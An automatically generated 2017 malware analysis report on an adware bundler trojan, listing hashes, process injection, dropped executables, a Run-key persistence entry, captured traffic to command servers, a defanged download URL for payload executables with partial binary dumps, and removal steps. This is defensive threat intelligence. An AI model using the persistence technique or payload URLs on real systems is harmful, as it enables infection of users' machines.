Application.Bundler.AHD_f5798be4be

by malwarelabrobot on April 15th, 2017 in Malware Descriptions.

Application.Bundler.AHD (BitDefender), HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Adware.Eorezo.966 (DrWeb), Application.Bundler.AHD (B) (Emsisoft), Artemis!F5798BE4BEDE (McAfee), Trojan.Gen.2 (Symantec), Application.Bundler.AHD (FSecure), Atros5.AATF (AVG), Win32:Malware-gen (Avast), mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan, Adware, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: f5798be4bede0b19af8c4e0d64d16c19
SHA1: 535492c09fcddd7964bfd01d4a5ad808704b329c
SHA256: b576cf26d39220318483f4d375bb4c33428e4ee3b83d066d1845c8485fc57595
SSDeep: 24576:g/E8X4leBFqZNGDTL3nuMIrXZLdeaUzDWk2LN3O2wd7QUwIEqi1oy0HSGgJrn9g1:fWaGrJIrXZxJ0dDNlyHNP88KLveG
Size: 2383872 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: PMW1ExecutableImageusingDOSExtender, MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2017-03-27 11:35:55
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

oaSxO69ceEYCuoXQifBI.exe:2892

The Application injects its code into the following process(es):

oaSxO69ceE.exe:2540
%original file name%.exe:3340

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process oaSxO69ceE.exe:2540 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes)

The process %original file name%.exe:3340 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceE.exe (34156 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceEYCuoXQifBI.exe (24029 bytes)

Registry activity

The process oaSxO69ceE.exe:2540 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\DDECache\IExplore\WWW_OpenURL]
"WindowClassName" = "DDEMLMom"

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2F\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\DDECache\IExplore\WWW_OpenURL]
"processname" = "iexplore.exe"

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASAPI32]
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\oaSxO69ceE_RASMANCS]
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"1ZC2LXW2CD3Q5SL" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceE.exe"

The process %original file name%.exe:3340 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\CasterDate]
"date" = "14/04/2017"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\wewewe]
"partner" = "tuto"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\wewewe]
"Product" = "diskpower"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\wewewe]
"channel" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASAPI32]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\f5798be4bede0b19af8c4e0d64d16c19_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process oaSxO69ceEYCuoXQifBI.exe:2892 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2F\52C64B7E]
"LanguageList" = "en-US, en"

Dropped PE files

MD5 File path
00bc75d006a8fa69008e74abe81f7f7c c:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceE.exe
40569a05f6a3b7ee1851e238dc9478ef c:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceEYCuoXQifBI.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: YE
Product Name: YEPG1L5
Product Version: 2.1.8.0
Legal Copyright: Copyright (c) 4306
Legal Trademarks:
Original Filename: KiKo2.exe
Internal Name: KiKo2.exe
File Version: 2.1.8.0
File Description: YEPG1L
Comments: Y
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 8192 2171288 2171392 4.1699 309ce74910e2352a28227fb567eca04d
.rsrc 2187264 211244 211456 4.33969 e7e33f4d539293ce7933659607f5d08d
.reloc 2400256 12 512 0.070639 e395cc20f44ab1b104a89f055ca17f28

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://goodthingshostedhere.com/get/4/remote.exe 94.23.252.37
wizzcaster.com 176.31.107.87
teredo.ipv6.microsoft.com 157.56.106.189
dns.msftncsi.com 131.107.255.255


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /api/v5/config HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 38
Expect: 100-continue
Connection: Keep-Alive


HTTP/1.1 100 Continue
....




uid=57a764d042bf8&days_after_install=0

HTTP/1.1 200 OK


Date: Fri, 14 Apr 2017 09:54:39 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=ec1db606d953e8c5aa6a9290bd204335ea2005c5; expires=Fri, 14-Apr-2017 11:54:39 GMT; Max-Age=7200; path=/; httponly
Content-Length: 28
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"time_between_prints":"15"}HTTP/1.1 200 OK..Date: Fri, 14 Apr 2017 09
:54:39 GMT..Server: Apache/2.4.10 (Debian)..Cache-Control: no-cache..S
et-Cookie: laravel_session=ec1db606d953e8c5aa6a9290bd204335ea2005c5; e
xpires=Fri, 14-Apr-2017 11:54:39 GMT; Max-Age=7200; path=/; httponly..
Content-Length: 28..Keep-Alive: timeout=10, max=100..Connection: Keep-
Alive..Content-Type: text/html; charset=UTF-8..{"time_between_prints":
"15"}....


POST /api/v5/link HTTP/1.1


Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 17
Expect: 100-continue


HTTP/1.1 100 Continue
....




uid=57a764d042bf8

HTTP/1.1 200 OK


Date: Fri, 14 Apr 2017 09:54:40 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=736e7946a4aa03c4f5c88386eae55461aed7ba2c; expires=Fri, 14-Apr-2017 11:54:40 GMT; Max-Age=7200; path=/; httponly
Content-Length: 62
Content-Type: text/html; charset=UTF-8
{"link":"http:\/\/bigpicturepop.com\/redirect\/57a764d042bf8"}HTTP/1.1
 200 OK..Date: Fri, 14 Apr 2017 09:54:40 GMT..Server: Apache/2.4.10 (D
ebian)..Cache-Control: no-cache..Set-Cookie: laravel_session=736e7946a
4aa03c4f5c88386eae55461aed7ba2c; expires=Fri, 14-Apr-2017 11:54:40 GMT
; Max-Age=7200; path=/; httponly..Content-Length: 62..Content-Type: te
xt/html; charset=UTF-8..{"link":"http:\/\/bigpicturepop.com\/redirect\
/57a764d042bf8"}..



GET /get/4/remote.exe HTTP/1.1
Host: goodthingshostedhere.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Fri, 14 Apr 2017 09:54:33 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="remote.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
81e00..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
......X.........."...0..>...........]... ...`....@.. ..............
.........`............@..................................\..O....`..D.
...................@.......[..........................................
..... ............... ..H............text...4=... ...>.............
..... ..`.rsrc...D....`.......@..............@..@.reloc.......@.......
...............@..B.................]......H.......D#..@............3.
. (...........................................0...........(......&..*.
.................(....*.~....-.r...p.....(....o....s.........~....*.~.
...*.......*.~....*..(....*Vs....(....t.........*.0..C........(......o
....r?..po......o....t$...%-.rU..ps....z.......%...o....&*..0..~......
.rW..p(........&...%..|.o....&...o.....( ...o!.......o.....("...( ...o
!.......("...X.o.....o.....("....XY( ...o!....(....(#...*...0.........
.~$....s%....... ...o&...... ...s'......r{..pr...p ...... ...o(...o)..
..(#.....o....s*........o ....s,...........io-.....o......o/..... ....
....jo0..........o/...io1...&(2.....o3........,...o4......,...o4.....*
.........j.M.........Z.i........0..3............(....r...po5..........
%...%.(.....o....&..&..*.........//........(6...*.0..&.......(7....o8.
....s9...%o:.....o;...o<....*..BSJB............v2.0.50727......l...
h...#~..........#Strings............#US.x.......#GUID...........#Blob.
..........W..........3........2...................<............
<<< skipped >>>


GET /get/3/wizzcaster_v2.exe HTTP/1.1
Host: goodthingshostedhere.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Fri, 14 Apr 2017 09:54:33 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_v2.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
ab800..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
...v..X.........."...0..............9... ...@....@.. .................
...................@.................................|9..O....@..t....
.......................D8.............................................
.. ............... ..H............text........ ...................... 
..`.rsrc...t....@......................@..@.reloc.....................
.........@..B.................9......H.......D#..P............3.......
........................................0...........(......&..*.......
...........(....*.~....-.r...p.....(....o....s.........~....*.~....*..
.....*.~....*..(....*Vs....(....t.........*.0..C........(......o....r?
..po......o....t$...%-.rU..ps....z.......%...o....&*..0..~.......rW..p
(........&...%..|.o....&...o.....( ...o!.......o.....("...( ...o!.....
..("...X.o.....o.....("....XY( ...o!....(....(#...*...0..........~$...
.s%....... ...o&...... ...s'......r{..pr...p ...... ...o(...o)....(#..
...o....s*........o ....s,...........io-.....o......o/..... ........jo
0..........o/...io1...&(2.....o3........,...o4......,...o4.....*......
...j.M.........Z.i........0..3............(....r...po5..........%...%.
(.....o....&..&..*.........//........(6...*.0..&.......(7....o8.....s9
...%o:.....o;...o<....*..BSJB............v2.0.50727......l...h...#~
..........#Strings............#US.x.......#GUID...........#Blob.......
....W..........3........2...................<..................
<<< skipped >>>

The Application connects to the servers at the folowing location(s):

iexplore.exe_2708:

.text
`.data
.rsrc
@.reloc
>.uzf
.us;}
IEFRAME.dll
MLANG.dll
iertutil.dll
urlmon.dll
ole32.dll
SHELL32.dll
SHLWAPI.dll
msvcrt.dll
USER32.dll
KERNEL32.dll
ADVAPI32.dll
RegOpenKeyExW
RegCloseKey
GetWindowsDirectoryW
_amsg_exit
_wcmdln
UrlApplySchemeW
PathIsURLW
UrlCanonicalizeW
UrlCreateFromPathW
iexplore.pdb
KEYW
KEYWh
KEYWD
.ENNNG.
a.ry.v
l.igM4
?1%SGf
xh.JW^
.97777"7" " " !
3.... )) 
8888888888888
8888888888
.lPV)
úW1
.ApX/
H.ZAf
ð[U
%s!FK
1YYYY1YY9GEAA=77YRNNNW:.VT1
888777777
Y.hilkRROMLK=C,
..(((($$
3...((((%
3....(.''$
3.2...((((%
33.2....(,'
55323222...
(%&'00443445?
00.,,,4(
000.,,9(
0020..9(
003200;(
(#'( (''''!'!
Microsoft.InternetExplorer.Default
user32.dll
Kernel32.DLL
xfire.exe
wlmail.exe
winamp.exe
waol.exe
sidebar.exe
psocdesigner.exe
np.exe
netscape.exe
netcaptor.exe
neoplanet.exe
msn.exe
mshtmpad.exe
mshta.exe
loader42.exe
infopath.exe
iexplore.exe
iepreview.exe
groove.exe
explorer.exe
dreamweaver.exe
contribute.exe
aol.exe
{28fb17e0-d393-439d-9a21-9474a070473a}
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
DShell32.dll
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}
"%s" %s
Kernel32.dll
\AppPatch\sysmain.sdb
-extoff go.microsoft.com/fwlink/?LinkId=106323
-extoff go.microsoft.com/fwlink/?LinkId=106322
-extoff go.microsoft.com/fwlink/?LinkId=106320
kernel32.dll
{00000000-0000-0000-0000-000000000000}
\\?\Volume
shell:%s
Imaging_CreateWebPagePreview_Perftrack
Browseui_Tabs_Tearoff_BetweenWindows
Frame_URLEntered
Imaging_CreateWebPagePreview
WS_ExecuteQuery
Shdocvw_BaseBrowser_FireEvent_WindowStateChanged
IdleTask_Execution_Time
9.00.8112.16421 (WIN7_IE9_RTM.110308-0330)
IEXPLORE.EXE
Windows
9.00.8112.16421

iexplore.exe_2760:

.text
`.data
.rsrc
@.reloc
>.uzf
.us;}
IEFRAME.dll
MLANG.dll
iertutil.dll
urlmon.dll
ole32.dll
SHELL32.dll
SHLWAPI.dll
msvcrt.dll
USER32.dll
KERNEL32.dll
ADVAPI32.dll
RegOpenKeyExW
RegCloseKey
GetWindowsDirectoryW
_amsg_exit
_wcmdln
UrlApplySchemeW
PathIsURLW
UrlCanonicalizeW
UrlCreateFromPathW
iexplore.pdb
KEYW
KEYWh
KEYWD
.ENNNG.
a.ry.v
l.igM4
?1%SGf
xh.JW^
.97777"7" " " !
3.... )) 
8888888888888
8888888888
.lPV)
úW1
.ApX/
H.ZAf
ð[U
%s!FK
1YYYY1YY9GEAA=77YRNNNW:.VT1
888777777
Y.hilkRROMLK=C,
..(((($$
3...((((%
3....(.''$
3.2...((((%
33.2....(,'
55323222...
(%&'00443445?
00.,,,4(
000.,,9(
0020..9(
003200;(
(#'( (''''!'!
Microsoft.InternetExplorer.Default
user32.dll
Kernel32.DLL
xfire.exe
wlmail.exe
winamp.exe
waol.exe
sidebar.exe
psocdesigner.exe
np.exe
netscape.exe
netcaptor.exe
neoplanet.exe
msn.exe
mshtmpad.exe
mshta.exe
loader42.exe
infopath.exe
iexplore.exe
iepreview.exe
groove.exe
explorer.exe
dreamweaver.exe
contribute.exe
aol.exe
{28fb17e0-d393-439d-9a21-9474a070473a}
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
DShell32.dll
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}
"%s" %s
Kernel32.dll
\AppPatch\sysmain.sdb
-extoff go.microsoft.com/fwlink/?LinkId=106323
-extoff go.microsoft.com/fwlink/?LinkId=106322
-extoff go.microsoft.com/fwlink/?LinkId=106320
kernel32.dll
{00000000-0000-0000-0000-000000000000}
\\?\Volume
shell:%s
Imaging_CreateWebPagePreview_Perftrack
Browseui_Tabs_Tearoff_BetweenWindows
Frame_URLEntered
Imaging_CreateWebPagePreview
WS_ExecuteQuery
Shdocvw_BaseBrowser_FireEvent_WindowStateChanged
IdleTask_Execution_Time
9.00.8112.16421 (WIN7_IE9_RTM.110308-0330)
IEXPLORE.EXE
Windows
9.00.8112.16421

%original file name%.exe_3340_rwx_69722000_00002000:

.ri3J
-yiq.yiw
-yiq.yi

oaSxO69ceE.exe_2540_rwx_69722000_00002000:

.ri3J
-yiq.yiw
-yiq.yi

SearchProtocolHost.exe_256:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
MSSHooks.dll
IMM32.dll
SHLWAPI.dll
SrchCollatorCatalogInfo
SrchDSSLogin
SrchDSSPortManager
SrchPHHttp
SrchIndexerQuery
SrchIndexerProperties
SrchIndexerPlugin
SrchIndexerClient
SrchIndexerSchema
Msidle.dll
Failed to get REGKEY_FLTRDMN_MS_TO_IDLE, using default
pfps->psProperty.ulKind is LPWSTR but psProperty.lpwstr is NULL or empty
d:\win7sp1_gdr\enduser\mssearch2\common\utils\crchash.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrdmn\fltrdaemon.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\common\include\secutil.hxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracerhelpers.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
</MSG></TRC>
<MSG>
<ERR> 0xx=
<LOC> %s(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%s"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%s"
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
SHELL32.dll
PROPSYS.dll
ntdll.dll
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
MsgWaitForMultipleObjects
SearchProtocolHost.pdb
2 2(20282|2
4%5S5
Software\Microsoft\Windows Search
https
kernel32.dll
msTracer.dll
msfte.dll
lX-X-X-XX-XXXXXX
SOFTWARE\Microsoft\Windows Search
tquery.dll
%s\%s
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
advapi32.dll
WAPI-MS-Win-Core-LocalRegistry-L1-1-0.dll
winhttp.dll
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<LOC> %S(%d) </LOC>
tagname="%S"
logname="%S"
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
Microsoft Windows Search Protocol Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchProtocolHost.exe
Windows
7.00.7601.17610

SearchFilterHost.exe_1388:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
IMM32.dll
MSSHooks.dll
mscoree.dll
SHLWAPI.dll
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrhost\bufstm.cxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
SearchFilterHost.pdb
version="5.1.0.0"
name="Microsoft.Windows.Search.MSSFH"
<requestedExecutionLevel
3 3(30383|3
kernel32.dll
Software\Microsoft\Windows Search
SOFTWARE\Microsoft\Windows Search
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
tquery.dll
advapi32.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<ERR> 0xx=
<LOC> %S(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%S"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%S"
</MSG></TRC>
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
%s\%s
winhttp.dll
Microsoft Windows Search Filter Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchFilterHost.exe
Windows
7.00.7601.17610


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    oaSxO69ceEYCuoXQifBI.exe:2892

  2. Delete the original Application file.
  3. Delete or disinfect the following files created/modified by the Application:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceE.exe (34156 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceEYCuoXQifBI.exe (24029 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "1ZC2LXW2CD3Q5SL" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\oaSxO69ceE.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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